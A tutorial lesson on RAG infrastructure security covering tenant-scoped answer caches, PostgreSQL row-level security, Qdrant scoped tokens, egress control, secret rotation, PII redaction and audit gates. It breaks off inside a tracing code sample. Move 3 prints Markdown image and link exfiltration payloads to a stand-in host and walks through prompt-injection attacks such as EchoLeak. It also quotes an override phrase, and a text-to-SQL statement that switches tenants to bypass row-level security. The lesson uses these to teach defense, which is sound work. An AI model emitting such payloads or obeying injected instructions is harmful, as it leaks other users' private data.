Infrastructure & Security

The invoice that answered the wrong customer

Tuesday, 10:02. Bo, an accountant at Globex, asks the support assistant: "What is the late fee on INV-2291?" The answer comes back fast, confident and cited: a 10% fee, EUR 1,840. Globex's INV-2291 carries a 2% fee of EUR 43. The EUR 1,840 belongs to Acme, a different customer. Both companies number their invoices from 1, so both have an INV-2291.

The team checks the usual suspect first. The retrieval filter is built on the server from Bo's token, it denies by default, and it passes the leak harness from Metadata & Filtering on every build. It is correct. The leak came from a layer someone added later to save money: an answer cache. Here is the path, cut down to the parts that matter:

import hashlib

INDEX = {   # what each tenant's server-side ACL filter lets through
    "acme":   {"INV-2291": "Acme invoice INV-2291: EUR 18,400, due 1 Sep. Late fee 10% (EUR 1,840)."},
    "globex": {"INV-2291": "Globex invoice INV-2291: EUR 2,150, due 20 Sep. Late fee 2% (EUR 43)."},
}

def retrieve(tenant, question):
    return [text for inv, text in INDEX[tenant].items() if inv in question]

def generate(question, chunks):                 # stand-in for the LLM call
    return f"From your records: {chunks[0]}" if chunks else "I could not find that invoice."

cache, llm_calls = {}, 0

def answer(tenant, question):
    global llm_calls
    key = hashlib.sha256(" ".join(question.lower().split()).encode()).hexdigest()
    if key not in cache:
        llm_calls += 1
        cache[key] = generate(question, retrieve(tenant, question))
    return cache[key]

print("acme  :", answer("acme", "What is the late fee on INV-2291?"))
print("globex:", answer("globex", "what is the late fee on  INV-2291?"))
print("LLM calls:", llm_calls)

Predict first: what does the Globex line print, and how many times does the model run?

acme  : From your records: Acme invoice INV-2291: EUR 18,400, due 1 Sep. Late fee 10% (EUR 1,840).
globex: From your records: Acme invoice INV-2291: EUR 18,400, due 1 Sep. Late fee 10% (EUR 1,840).
LLM calls: 1

The second half of the incident hurt more. The security lead asked: which other customers received someone else's answer this week? The logs held question and answer text, with no tenant, no source document ids and no mark for cache hits. Nobody could answer, so nobody could say how far the leak went.

That is the idea of this lesson. Access control in a RAG system is end to end. Every place that stores or sends something derived from a document keeps that document's boundary: caches, prompts sent to a model provider, logs, traces, evaluation sets, backups. The retrieval filter is one wall. This lesson covers the rest of the building, plus the observability and cost controls that run on the same infrastructure.

The lesson assumes you know access control as a retrieval filter (Metadata & Filtering) and how to fence retrieved text in a prompt (Context Augmentation).

Before any move: a threat model on one page

Security work without a threat model turns into a checklist of tools. For a RAG system, one page answers four questions:

💡 Minimal, but secure. "Start simple" is good advice for architecture: one region, one service, managed databases. It is bad advice for the boundaries in this lesson. A single-service prototype still needs authentication, a server-built filter, no public database port and no secrets in git. Those are cheap on day one and expensive after an incident.

Move 1: Draw the trust boundaries

Symptom: the vector database answers anyone who can reach its port.

A self-hosted vector database often starts life with no authentication at all. Qdrant's security docs say it plainly: by default a self-deployed instance is "not secure", open on all network interfaces with no authentication configured. If its port is reachable from the internet, or from every pod in the cluster, the ACL filter does not matter: a caller simply leaves it out.

Draw the system as zones, and let each arrow cross a boundary only through an authenticated, encrypted connection:

 internet
    │ TLS
    ▼
 [edge: WAF, TLS, request limits] ─▶ [gateway: authenticate user (OIDC), per-tenant quotas]
                                                │ verified identity travels with the request
                                                ▼
                                   [RAG service: filter builder, prompt, gate]
                            ┌──────────────┬────┴─────────┬────────────────────┐
                            ▼              ▼              ▼                    ▼
                      [vector DB]    [document store]   [cache]        [egress proxy]──▶ model and
                       private subnet: no public address, TLS inside    allowlisted hosts embedding APIs
                            ▲
            write creds     │
                      [ingestion workers]  (their own identity; no user-facing port)

Five rules come out of that picture:

1. The data tier has no public address. Only the services that need a store can reach it: security groups in a cloud VPC, or in Kubernetes a default-deny NetworkPolicy plus explicit allows. Pods accept traffic from anywhere until a policy selects them, and policies do nothing unless the cluster's network plugin enforces them, so test from a pod that should be refused.
2. Two service identities, not one. The query path gets read-only credentials. Ingestion workers get write credentials and no user-facing endpoint. Admin access is separate, short-lived and logged. A bug in the chat service then cannot delete or overwrite the index.
3. Egress is allowlisted. The components that call models and tools can reach only the provider hosts you list, through a proxy. If a planted instruction persuades the model to fetch https://collect.example.net/?d=..., the request dies at the network (Move 3).
4. TLS inside, too. API keys and JWTs travel in headers. On plain HTTP anyone on the path can read them; qdrant-client even prints UserWarning: Api key is used with an insecure connection when you send a key to an http:// URL.
5. Environments share nothing. Production, staging and development get separate projects or accounts, separate credentials and separate indexes. A namespace or collection prefix in a shared database is not environment separation: one wrong variable and a test job writes production vectors. Code and configuration flow up through the pipeline; data flows down only after anonymization.

Encryption: what it stops and what it does not

At rest (disk volumes, snapshots, backups) and in transit (TLS) are table stakes, and managed services enable most of it by default. Know what each one protects:

The last row is where RAG leaks happen, and encryption does not help there. Encrypting vectors yourself before upload does not work either. A database cannot compute cosine similarity on AES ciphertext, so the index stops being searchable. Protect vectors with access control, like the text they came from.

Vectors are not anonymized text. Morris et al. (2023) recovered 92% of 32-token inputs exactly from their embeddings, with an iterative method that queries the embedding model. Assume that anyone who can read your vectors and can call the same model can read a good part of your text. So classify the vector store, its payloads, its snapshots and every export at the level of its most sensitive source document (Vector Embeddings).

Your turn. A team keeps only vectors and document ids in its vector database. The text lives in a locked-down document store. They conclude the vector database can be less protected, so they expose it on a public IP with an API key over plain HTTP "because it holds no text". What is wrong with the reasoning, and what would you change?

Measure it. Scan your public addresses from outside: only the gateway should answer, on 443. From inside the cluster, run a pod without credentials and assert that the vector database, the document store and the cache all refuse it. Put both checks in CI or a scheduled job, because a new service or a changed security group reopens them silently.

Move 2: Carry the identity to every copy

Symptom: the retrieval filter is right, and another tenant's text still gets out.

The filter only works if every hop knows whose request it is. Identity propagation means the verified identity travels with the request from the gateway to every store and tool:

• Validate once, carry a verifiable token. The gateway checks the user's token (OIDC or your session system). Downstream services receive that token, or a short-lived internal token signed by the gateway, and verify it themselves. A plain X-Tenant-Id header is not identity: anything that can reach the service can set it.
• Never take identity from the request body or the model. A tool schema with a tenant_id argument lets a user, or an injected instruction, choose the tenant (Agentic RAG Systems shows the tool side).
• Carry it across asynchronous paths. A scheduled report or a queued agent step runs later, often under a service account that can read everything. Put the principal into the job and apply it when the job runs, or the service becomes a confused deputy: broad credentials acting for a narrow user.
• Let downstream systems see the user. When a tool calls a system with its own permissions (a document management system, a CRM), exchange the user's token for one scoped to that system: OAuth 2.0 Token Exchange (RFC 8693) or a vendor's on-behalf-of flow.

Make the database refuse, too

A server-built filter is one line of code away from being forgotten. Defense in depth means a second wall that holds even when the application is wrong. In PostgreSQL with pgvector, that wall is row-level security (RLS). We started a throwaway container (docker run -d -e POSTGRES_PASSWORD=pw -p 55437:5432 pgvector/pgvector:pg18, which gave PostgreSQL 18.6 with pgvector 0.8.6) and ran this as the admin user:

CREATE EXTENSION IF NOT EXISTS vector;
CREATE ROLE rag_owner;                           -- owns the table (migrations)
CREATE ROLE rag_app LOGIN PASSWORD 'change-me';  -- what the RAG service connects as
CREATE TABLE chunks (
  id        bigint PRIMARY KEY,
  tenant    text   NOT NULL CHECK (tenant <> ''),
  body      text   NOT NULL,
  embedding vector(16) NOT NULL
);
ALTER TABLE chunks OWNER TO rag_owner;
GRANT SELECT ON chunks TO rag_app;
INSERT INTO chunks                               -- 20 tenants, 1,000 chunks each
SELECT i, 'tenant' || (i % 20), 'chunk ' || i,
       (SELECT array_agg(random())::vector FROM generate_series(1, 16)
        WHERE i > 0)                             -- new random numbers for every row
FROM generate_series(1, 20000) AS i;
CREATE INDEX ON chunks USING hnsw (embedding vector_cosine_ops);
ANALYZE chunks;
CREATE POLICY tenant_isolation ON chunks
  USING (tenant = current_setting('app.tenant', true));

Then we counted the rows each role could see (SELECT count(*) FROM chunks):

Three traps in five rows. A policy does nothing until RLS is enabled. The table owner bypasses RLS unless you force it, and superusers and BYPASSRLS roles always bypass it, so the service must connect as neither. And the fail-closed row rests on two details: with no tenant set, current_setting('app.tenant', true) returns NULL or an empty string, and CHECK (tenant <> '') guarantees no row has an empty tenant.

Views count too. By default a view reads its tables with its owner's rights: a view owned by the table owner reads every row unless RLS is forced, and one owned by a superuser reads every row even then (all 20,000 in our run). Create the views your services query WITH (security_invoker = true) (PostgreSQL 15+), so the caller's own grants and policies apply.

The pooled-connection trap. A service connects as one role and serves many users over a pool, so the tenant rides in a session setting. A plain SET app.tenant = 'tenant3' lasts for the whole session. We ran one request that set it and a second that forgot: the second returned 1,000 rows, all tenant3's, the previous user's data. Scope the setting to a transaction instead, so it dies with the request:

import numpy as np
import psycopg          # pip install "psycopg[binary]"

DSN = "host=localhost port=55437 dbname=postgres user=rag_app password=change-me"

def search(conn, tenant: str, query_vec, k: int = 10, iterative: bool = True):
    """One request = one transaction; the tenant setting dies with it."""
    vec = "[" + ",".join(f"{x:.6f}" for x in query_vec) + "]"
    with conn.transaction():
        conn.execute("SELECT set_config('app.tenant', %s, true)", (tenant,))
        if iterative:
            conn.execute("SET LOCAL hnsw.iterative_scan = relaxed_order")
        rows = conn.execute("SELECT id, tenant FROM chunks ORDER BY embedding <=> %s::vector "
                            "LIMIT %s", (vec, k)).fetchall()
    return rows

rng = np.random.default_rng(0)
queries = [rng.random(16) for _ in range(30)]
with psycopg.connect(DSN, autocommit=True) as conn:
    for iterative in (False, True):
        results = [search(conn, "tenant3", q, iterative=iterative) for q in queries]
        tenants = {t for rows in results for _, t in rows}
        print(f"iterative={iterative}: mean rows {np.mean([len(r) for r in results]):.1f}, "
              f"min {min(map(len, results))}, tenants seen {tenants}")
    print("after the request:", conn.execute("SELECT count(*) FROM chunks").fetchone()[0])

Predict first: tenant3 owns 5% of the rows, and every query asks for LIMIT 10. How many rows come back without iterative scans?

iterative=False: mean rows 2.2, min 0, tenants seen {'tenant3'}
iterative=True: mean rows 10.0, min 10, tenants seen {'tenant3'}
after the request: 0

Two warnings from the same run. Before ANALYZE, the planner guessed the policy would pass 100 rows, chose an exact scan and returned all 10; after it, the same query used the HNSW index and returned about 2. Read EXPLAIN on production-sized data. And RLS keyed on a session setting guards against application bugs, not against an attacker who can run arbitrary SQL as rag_app: they can set the variable too.

When a model writes the SQL. Text-to-SQL (Vectorless RAG) gives exactly that power to the model, and to any instruction injected into what it reads. With the service's set_config('app.tenant', 'tenant3', true) already run in the transaction, one generated statement, SELECT count(*) FROM chunks, (SELECT set_config('app.tenant', 'tenant4', true)) s, counted tenant4's 1,000 rows. A read-only transaction did not stop it, because changing a setting writes no data. For model-written SQL, key the policy on something the SQL cannot change: the login.

CREATE ROLE sql_reader;                                   -- holds the grants
CREATE ROLE tenant3 LOGIN PASSWORD 'change-me-3' IN ROLE sql_reader;  -- one login per tenant
GRANT SELECT ON chunks TO sql_reader;
CREATE POLICY tenant_login ON chunks TO sql_reader
  USING (tenant = session_user);
ALTER POLICY tenant_isolation ON chunks TO rag_app;       -- scope the session-setting policy

The text-to-SQL executor opens its connection as the requesting tenant's login, chosen from the verified identity; the model never sees the credentials. session_user is that login, and a session without superuser rights cannot change it. Connected as tenant3, the same generated statement returned only tenant3's 1,000 rows, and set_config('role', 'tenant4', true) and set_config('session_authorization', 'tenant4', true) both failed with "permission denied". The last line of the block matters. A policy without TO applies to every role, and PostgreSQL combines permissive policies with OR: before we scoped tenant_isolation to rag_app, tenant3's generated query that set app.tenant read 2,000 rows, tenant3's and tenant4's. The cost is a role per tenant, and a connection pool per tenant on the text-to-SQL path.

Qdrant has no row-level policies. Its wall is the credential. With JWT access control enabled, your token service signs short-lived tokens with the instance's API key, and each token lists the collections it may touch. We started a throwaway Qdrant 1.19.1 with:

docker run -d --name qdrant-auth -p 6343:6333 \
  -e QDRANT__SERVICE__API_KEY=replace-with-a-random-32-byte-secret \
  -e QDRANT__SERVICE__JWT_RBAC=true \
  qdrant/qdrant:v1.19.1

import time
import jwt                                   # pip install pyjwt
from qdrant_client import QdrantClient, models as m

URL = "http://localhost:6343"                # use https:// outside a laptop demo
API_KEY = "replace-with-a-random-32-byte-secret"   # lives only in the token service

admin = QdrantClient(url=URL, api_key=API_KEY)
for name in ("acme_docs", "globex_docs"):
    if admin.collection_exists(name):
        admin.delete_collection(name)
    admin.create_collection(name, vectors_config=m.VectorParams(size=4, distance=m.Distance.COSINE))
    admin.upsert(name, [m.PointStruct(id=1, vector=[1, 0, 0, 0], payload={"text": f"{name} secret"})])

def read_token(collection: str, ttl_s: int = 900) -> str:
    claims = {"exp": int(time.time()) + ttl_s,
              "access": [{"collection": collection, "access": "r"}]}
    return jwt.encode(claims, API_KEY, algorithm="HS256")

acme = QdrantClient(url=URL, api_key=read_token("acme_docs"))
print("acme reads acme_docs:", acme.query_points("acme_docs", query=[1, 0, 0, 0], limit=1).points[0].payload)
attempts = {
    "acme reads globex_docs": lambda: acme.query_points("globex_docs", query=[1, 0, 0, 0], limit=1),
    "acme writes acme_docs": lambda: acme.upsert("acme_docs", [m.PointStruct(id=2, vector=[0, 1, 0, 0])]),
    "no key": lambda: QdrantClient(url=URL).query_points("acme_docs", query=[1, 0, 0, 0], limit=1),
}
for label, call in attempts.items():
    try:
        call()
        print(label, "-> allowed")
    except Exception as e:
        print(label, "-> refused,", e.status_code)
for name in ("acme_docs", "globex_docs"):
    admin.delete_collection(name)

acme reads acme_docs: {'text': 'acme_docs secret'}
acme reads globex_docs -> refused, 403
acme writes acme_docs -> refused, 403
no key -> refused, 401

(qdrant-client also prints the insecure-connection warning from Move 1 twice, on stderr.) The scope is the collection. A token cannot be limited to points with one tenant value: a claim that tried ("payload": {"tenant": "acme"}) was rejected with "The 'payload' constraint is deprecated and should not be used". So database-enforced tenant isolation in Qdrant means a collection per tenant with scoped tokens, or a separate deployment, which is the trade-off Metadata & Filtering and Advanced Qdrant weigh. Note what signs the tokens: the API key itself. Whoever holds it can mint a token for any collection, so it belongs in the token service and nowhere else.

Every copy carries the boundary

Now back to the invoice. A cache is a copy of an answer, so its key must include everything that decides who may see the answer: the tenant, the permission set, and the versions that change the answer (here the index and the prompt; add the model's too). And a cache must be invisible: for every principal, the cached answer must equal what the uncached path would return. That is a test you can write. Continuing from the first block:

import hashlib, json, itertools

INDEX_VERSION, PROMPT_VERSION = "idx-0924", "prompt-7"

def old_key(principal, question):
    return hashlib.sha256(" ".join(question.lower().split()).encode()).hexdigest()

def scoped_key(principal, question):
    scope = {"tenant": principal["tenant"], "groups": sorted(set(principal["groups"])),
             "index": INDEX_VERSION, "prompt": PROMPT_VERSION,
             "q": " ".join(question.lower().split())}
    return hashlib.sha256(json.dumps(scope, sort_keys=True).encode()).hexdigest()

def cache_leaks(key_fn, principals, questions):
    """A cache must be invisible: every cached answer equals the uncached one."""
    cache, leaks = {}, []
    for p, q in itertools.product(principals, questions):
        fresh = generate(q, retrieve(p["tenant"], q))
        served = cache.setdefault(key_fn(p, q), fresh)
        if served != fresh:
            leaks.append((p["tenant"], q))
    return leaks

PRINCIPALS = [{"tenant": "acme", "groups": ["billing"]}, {"tenant": "globex", "groups": ["billing"]}]
QUESTIONS = ["What is the late fee on INV-2291?", "what is the late fee on INV-2291"]
print("question-only key:", cache_leaks(old_key, PRINCIPALS, QUESTIONS))
print("scoped key       :", cache_leaks(scoped_key, PRINCIPALS, QUESTIONS))

question-only key: [('globex', 'What is the late fee on INV-2291?'), ('globex', 'what is the late fee on INV-2291')]
scoped key       : []

Run the same differential test in CI with principals from at least two tenants and two permission sets. Scoping the key costs hit rate: users with different group sets no longer share entries. Caching Strategies covers keys, invalidation and that economics.

The same rule covers every other copy: a summary, a contextual chunk header, an evaluation set built from real questions or a fine-tuning file is visible only to people who may read all of its sources. And copies learn about changes late. A replica in another region serves a revoked or deleted document until replication catches up, the same exposure window Metadata & Filtering computes for permission sync.

Move 3: Close the exits

Symptom: a retrieved page makes the assistant send data somewhere.

First, what prompt injection can and cannot do in a system built like Move 2. It cannot widen a filter that the server builds from a verified identity: no text in a query or a chunk widens what the filter lets through. It can make the model misuse whatever is already in its context, and whatever its tools and output can reach. So the question is not "can the model be fooled?" (assume yes) but "what can a fooled model do?"

The prompt side (escaping, tagging, spotlighting, attack success rate) is in Context Augmentation, and read-only tools and confirmations are in Agentic RAG Systems. This move covers the system around them.

Three legs, one exit

Simon Willison calls the dangerous combination the lethal trifecta: an agent with access to private data, exposure to untrusted content, and a way to communicate externally. With all three, anyone who can put text in front of the model can ask it to send your data out. A RAG assistant over internal documents that also indexes support tickets has the first two legs on day one. The third leg is easy to miss, because it can be as small as rendering Markdown. The model writes ![status](https://collect.example.net/p.png?d=...), the user's browser fetches the image, and the query string carries whatever the model put there. EchoLeak (CVE-2025-32711, reported by Aim Labs, fixed by Microsoft in June 2025) did this to Microsoft 365 Copilot with no click at all: one email with hidden instructions, reference-style Markdown that slipped past link redaction, and an image fetched automatically (analysis).

A regex that strips inline images looks like a fix. It is not:

import re
from urllib.parse import urlsplit
from markdown_it import MarkdownIt          # pip install markdown-it-py

ANSWER = """Your refund is approved [S2].
![status](https://collect.example.net/p.png?d=acme+refund+EUR+1840)
See the [refund policy](https://help.example.com/refunds) or [chat with us](https://collect.example.net/c?d=INV-2291).
![logo][r1]

[r1]: https://collect.example.net/l.png?d=INV-2291
<img src="https://collect.example.net/x.png?d=hello">"""

NAIVE = re.compile(r"!\[[^\]]*\]\((https?://[^)\s]+)\)")        # inline images only
print("naive regex finds:", NAIVE.findall(ANSWER))

ALLOWED_HOSTS = {"help.example.com"}
md = MarkdownIt("commonmark", {"html": False})    # raw HTML is rendered as text

def allowed(url: str) -> bool:
    parts = urlsplit(url)
    return parts.scheme == "https" and parts.hostname in ALLOWED_HOSTS

def safe_render(markdown: str) -> str:
    tokens = md.parse(markdown)
    for block in tokens:
        kids = block.children or []
        for i, tok in enumerate(kids):
            if tok.type == "image" and not allowed(tok.attrGet("src") or ""):
                tok.type, tok.tag, tok.attrs, tok.children = "text", "", {}, None
                tok.content = "[image removed]"
            elif tok.type == "link_open" and not allowed(tok.attrGet("href") or ""):
                close = next(j for j in range(i + 1, len(kids)) if kids[j].type == "link_close")
                for t in (tok, kids[close]):
                    t.type, t.tag, t.attrs, t.content = "text", "", {}, ""
    return md.renderer.render(tokens, md.options, {})

print(safe_render(ANSWER))

Predict first: which of the four outbound URLs does the naive regex catch?

naive regex finds: ['https://collect.example.net/p.png?d=acme+refund+EUR+1840']
<p>Your refund is approved [S2].
[image removed]
See the <a href="https://help.example.com/refunds">refund policy</a> or chat with us.
[image removed]</p>
<p>&lt;img src=&quot;https://collect.example.net/x.png?d=hello&quot;&gt;</p>

Add a Content-Security-Policy with a strict img-src as a second guard in the browser, and keep both allowlists short: EchoLeak's data left through a Microsoft Teams proxy URL that Copilot's policy allowed. An allowed host that fetches arbitrary URLs for you is an exit too. Treat every other renderer (Slack, email, a PDF export) as its own exit.

The system-level controls

The cleanest control removes a leg of the trifecta. Meta's Agents Rule of Two phrases it as a design rule: within one session, an agent should combine at most two of processing untrusted input, accessing sensitive systems or private data, and changing state or communicating externally. If it needs all three, a human approves the step.

Input filters are not on the list. A detector for "ignore previous instructions" catches yesterday's phrasing, and a 500-character query limit caps cost, not injection: that phrase has 28 characters, and indirect injection never passes through the query box.

Poisoning is the slow version. An attacker who can add documents can also try to win retrieval for chosen questions. PoisonedRAG (Zou et al., USENIX Security 2025) reported a 90% attack success rate by injecting five crafted texts per target question into a knowledge base of millions. Know who can write into each collection, keep provenance on every chunk so you can purge a source, and alert when a new document suddenly ranks first for many unrelated queries.

OWASP's list as a coverage check

The OWASP Top 10 for LLM Applications 2025 is a useful checklist for a design review. Where each risk is handled in this course:

For systems with tools and autonomy, OWASP also publishes a Top 10 for Agentic Applications (December 2025), which starts with agent goal hijack and tool misuse.

Measure it. Keep a red-team set: documents with planted instructions (hidden text, reference-style images, fake tool requests) and the questions that retrieve them. For each release, report the attack success rate and a hard zero for one metric: responses that contain a URL outside the allowlist after sanitizing.

Move 4: Treat credentials as short-lived

Symptom: a key leaks, or a password rotation takes production down.

A RAG service collects credentials quickly: read and write credentials for the vector database, the document store and the cache, API keys for the embedding and generation providers per environment, the Qdrant signing key from Move 2, and tokens for every connector. Four rules keep them manageable:

• No secrets in code, images or git. Fetch them at runtime from a secret manager (HashiCorp Vault, AWS Secrets Manager, Azure Key Vault, Google Secret Manager) and run a secret scanner such as gitleaks or TruffleHog in CI. Kubernetes Secrets are not a vault: by default they sit unencrypted in etcd.
• Prefer identities to keys. Cloud workload identities (IAM roles, managed identities, federated OIDC tokens for pods and CI jobs) issue short-lived credentials, with no static secret to leak.
• One credential per service and environment. The embedding worker's key does not open the vector database, and a development key fails in production. A leak then costs one service in one environment.
• Fail closed on configuration. A service that cannot tell which environment it is in refuses to start; it does not fall back to "development" and a default key.

Rotation without an outage

Rotation limits how long a stolen credential works. Done naively, it takes production down. Here is a common pattern, and the bug inside it:

from functools import lru_cache

VAULT = {"prod/vector-db/app": "pw-v1"}   # stands in for Vault, AWS Secrets Manager, ...

@lru_cache(maxsize=128)
def get_secret(name):                     # "cached to avoid excessive API calls"
    return VAULT[name]

print(get_secret("prod/vector-db/app"))
VAULT["prod/vector-db/app"] = "pw-v2"     # rotated; after the grace period v1 is revoked
print(get_secret("prod/vector-db/app"))

It prints pw-v1 twice. lru_cache never expires, so every process keeps the old password until it restarts. When the grace period ends and v1 is revoked, every pod that has not restarted fails at once. Re-read on a timer shorter than the grace period, and immediately when the credential is rejected. Continuing from the block above (it reuses VAULT):

import time

class AuthError(Exception):
    pass

class CachedSecret:
    """Re-read after ttl_s (well below the rotation grace period) and on rejection."""
    def __init__(self, name, ttl_s=300):
        self.name, self.ttl_s, self.value, self.fetched_at, self.reads = name, ttl_s, None, float("-inf"), 0
    def get(self, force=False):
        if force or time.monotonic() - self.fetched_at > self.ttl_s:
            self.value, self.fetched_at = VAULT[self.name], time.monotonic()
            self.reads += 1
        return self.value

def with_credential(secret, call):
    try:
        return call(secret.get())
    except AuthError:                      # rotated under us: re-read once, then give up
        return call(secret.get(force=True))

VAULT["prod/vector-db/app"] = accepted = "pw-v1"
def query_db(password):                    # the database accepts only the current password
    if password != accepted:
        raise AuthError("password authentication failed")
    return "ok"

s = CachedSecret("prod/vector-db/app")
print(with_credential(s, query_db), "| reads:", s.reads)
VAULT["prod/vector-db/app"] = accepted = "pw-v2"     # rotation finished, v1 revoked
print(with_credential(s, query_db), "| reads:", s.reads)

ok | reads: 1
ok | reads: 2

For databases, rotate with two credentials that alternate: the new one is created and published while the old one still works, and the old one stops working only after every client's cache TTL has passed. AWS Secrets Manager's alternating users strategy is one implementation: after a rotation both users are valid, and the previous user's password changes only at the next rotation. Vendor caching clients refresh on a timer too (AWS's Python client every 3,600 s by default), so check that interval against your grace period.

When a key leaks, the order is fixed: revoke it first, then look at what it did. Your provider's usage log and your audit log (Move 6) show the damage. A spend limit on the workspace or project the key belongs to, and an alert (Move 7), cap it while you sleep.

Move 5: Keep personal data where it must be

Symptom: card numbers turn up in logs, and a deletion request cannot find every copy.

Follow one support ticket through a RAG system and count its copies:

source ticket ─▶ parsed text ─▶ chunks ─▶ vectors + payload ─▶ index snapshots, backups
                                   │
      question + chunks ─▶ prompt ─┼─▶ model provider (its own retention) ─▶ answer ─▶ answer cache
                                   └─▶ traces and logs ─▶ observability vendor
      labeled questions and answers ─▶ evaluation sets, fine-tuning files

Every arrow is a copy that a deletion request must reach, every box sits in some region, and every vendor box holds your data under a contract. The best copy to protect is the one you never make.

Minimize first. Do not index fields nobody needs to answer questions: raw card numbers, national ids, full email headers. Keep them in the source system and link by id. Where identifiers matter for retrieval ("what did Maria Keller order?"), redacting them breaks the feature; pseudonymize instead, with the mapping in a separate, access-controlled store. Decide per field, and write the decision down.

Redact what must not travel. Logs, traces and prompts to third parties are the usual targets. Patterns with checksums catch structured identifiers well:

import re

def luhn_ok(digits: str) -> bool:
    total, parity = 0, len(digits) % 2
    for i, ch in enumerate(digits):
        d = int(ch)
        if i % 2 == parity:
            d = d * 2 - 9 if d > 4 else d * 2
        total += d
    return total % 10 == 0

def iban_ok(s: str) -> bool:
    s = s.replace(" ", "").upper()
    moved = s[4:] + s[:4]
    return int("".join(str(int(c, 36)) for c in moved)) % 97 == 1

PATTERNS = [
    ("EMAIL", re.compile(r"\b[\w.+-]+@[\w-]+(?:\.[\w-]+)+\b"), None),
    ("IBAN",  re.compile(r"\b[A-Z]{2}\d{2}(?: ?[A-Z0-9]{4}){2,7}(?: ?[A-Z0-9]{1,4})?\b"), iban_ok),
    ("CARD",  re.compile(r"\b(?:\d[ -]?){12,18}\d\b"),
              lambda s: luhn_ok(re.sub(r"\D", "", s))),
    ("PHONE", re.compile(r"(?<!\w)\+\d{1,3}(?:[ .-]?\d{2,4}){2,5}\b"), None),
]

def redact(text: str) -> str:
    for label, pattern, check in PATTERNS:
        text = pattern.sub(lambda m: m.group(0) if check and not check(m.group(0))
                           else f"[{label}]", text)
    return text

log_line = ("user=maria.keller@example.org asked: refund to DE89 3704 0044 0532 0130 00, "
            "card 4111 1111 1111 1111, order 1234 5678 9012 3456, call +49 30 1234567. "
            "Maria Keller says her diabetes meds were delayed.")
print(redact(log_line))

Predict first: which personal data survives?

user=[EMAIL] asked: refund to [IBAN], card [CARD], order 1234 5678 9012 3456, call [PHONE]. Maria Keller says her diabetes meds were delayed.

So measure your redactor like a retriever. Label 200 real log lines, count what it catches, and report recall per entity type. Then do not bet everything on it: restrict who can read logs, and keep them briefly (Move 6).

Obligations: state them carefully

This is not legal advice. Your privacy counsel decides what applies. But engineers must know the shape of the common obligations, because each one lands on a specific copy in the diagram above.

Check what your providers actually offer before you promise a region. As of September 2026, OpenAI offers European data residency as a project setting with extra requirements, while Anthropic's own API can pin inference to the US (inference_geo) but has no EU option. On cloud platforms that resell models, the region comes from the endpoint you choose.

Deleting correctly is its own engineering problem: filter deletes by stable doc_id, caches, deleted data that stays in segments and the write-ahead log until they are rewritten (a rebuild into a fresh collection clears both), snapshot retention, and rebuild sources that resurrect deleted documents. Data Freshness & Lifecycle teaches it. Remember that vectors derived from a person's data are personal data too, since they can be inverted (Move 1).

⚠️ The residency pattern that leaks. A classic hybrid design keeps the documents and the vector index on-premises "for sovereignty" and sends retrieval results to a cloud model. The retrieved chunks are the sensitive documents, a few at a time. If the data must not leave, the model runs where the data is: an in-region endpoint that meets the requirement, or a self-hosted model. Letting some classes of chunks leave is a decision for counsel, not for the architecture diagram.

Your turn. An EU customer's contract says: "Customer content is processed only within the EU." Your stack: an EU vector database with an async replica in the US for disaster recovery, a US-hosted embedding API, an EU model endpoint, a US tracing vendor that stores full prompts, and a support team in India that can open customer conversations. List every stage you must change, and what the change costs.

Move 6: Observe without copying the data

Symptom: nobody can say who saw what, or the trace store has quietly become the largest unprotected copy of your documents.

Two kinds of records answer two different questions, and mixing them causes both failures:

The last gate

The audit record belongs at the response boundary, not at retrieval, because a cache hit never reaches retrieval. And while you are there, check one cheap invariant: every document an answer is built from must belong to the requester's tenant. This block replays the invoice incident, cache bug included:

import hashlib, time

DOC_TENANT = {"acme/INV-2291": "acme", "globex/INV-2291": "globex"}   # from the index payload
AUDIT, ALERTS, cache = [], [], {}

def release(principal, request_id, answer, source_docs, via):
    """The last gate before the user: log what is served, refuse foreign sources."""
    foreign = [d for d in source_docs if DOC_TENANT.get(d) != principal["tenant"]]
    AUDIT.append({"ts": time.time(), "request": request_id, "user": principal["user"],
                  "tenant": principal["tenant"], "docs": source_docs, "via": via,
                  "blocked": bool(foreign)})
    if foreign:
        ALERTS.append((request_id, principal["tenant"], foreign))
        return "Sorry, something went wrong. Please try again."
    return answer

def answer(principal, request_id, question):
    key = hashlib.sha256(" ".join(question.lower().split()).encode()).hexdigest()  # still buggy
    via = "cache" if key in cache else "llm"
    if via == "llm":
        doc = f"{principal['tenant']}/INV-2291"             # retrieval, filtered by tenant
        cache[key] = (f"The late fee is in {doc}.", [doc])
    text, docs = cache[key]
    return release(principal, request_id, text, docs, via)

print(answer({"user": "ana", "tenant": "acme"}, "r1", "Late fee on INV-2291?"))
print(answer({"user": "bo", "tenant": "globex"}, "r2", "late fee on INV-2291?"))
print(ALERTS)
print([(e["user"], e["docs"], e["via"]) for e in AUDIT if "acme/INV-2291" in e["docs"]])

The late fee is in acme/INV-2291.
Sorry, something went wrong. Please try again.
[('r2', 'globex', ['acme/INV-2291'])]
[('ana', ['acme/INV-2291'], 'llm'), ('bo', ['acme/INV-2291'], 'cache')]

The gate stopped the leak with the cache bug still in place, and raised an alert that should page someone: in a healthy system it never fires. The last line answers Tuesday's question, "who received Acme's invoice, and how?", from ids alone. Both need cache entries that remember their source documents. The gate is a backstop, not a replacement for the filter: it can only check what carries a document id.

Traces with OpenTelemetry's GenAI conventions

For operational tracing, OpenTelemetry defines semantic conventions for generative AI: span names such as chat claude-sonnet-5 (operation, then model) or retrieval kb-prod (operation, then data source), operation names (chat, embeddings, retrieval, execute_tool, invoke_agent) and attributes such as gen_ai.provider.name, gen_ai.request.model, gen_ai.usage.input_tokens and gen_ai.usage.output_tokens. As of September 2026 they are still marked Development, and since mid-2026 they live in their own repository rather than the main semantic-conventions one, so names can still change (gen_ai.system, for example, was replaced by gen_ai.provider.name). Pin the version your instrumentation emits. Latency tracing and percentiles are covered in Performance Optimization. Here the question is what goes into a span:

import hashlib, hmac
from opentelemetry.sdk.trace import TracerProvider             # pip install opentelemetry-sdk
from opentelemetry.sdk.trace.export import SimpleSpanProcessor
from opentelemetry.sdk.trace.export.in_memory_span_exporter import InMemorySpanExporter

exporter = InMemorySpanExporter()                    # in production: an OTLP exporter
provider = TracerProvider()
provider.add_span_processor(SimpleSpanProcessor(exporter))
tracer = provider.get_tracer("rag-service")

PSEUDONYM_KEY = b"from-the-secret-manager"          # rotating it breaks old correlations

def pseudonym(user_id: str) -> str:
    return hmac.new(PSEUDONYM_KEY, user_id.encode(), hashlib.sha256).hexdigest()[:16]

def traced_answer(principal, question):
    with tracer.start_as_current_span("answer") as root:
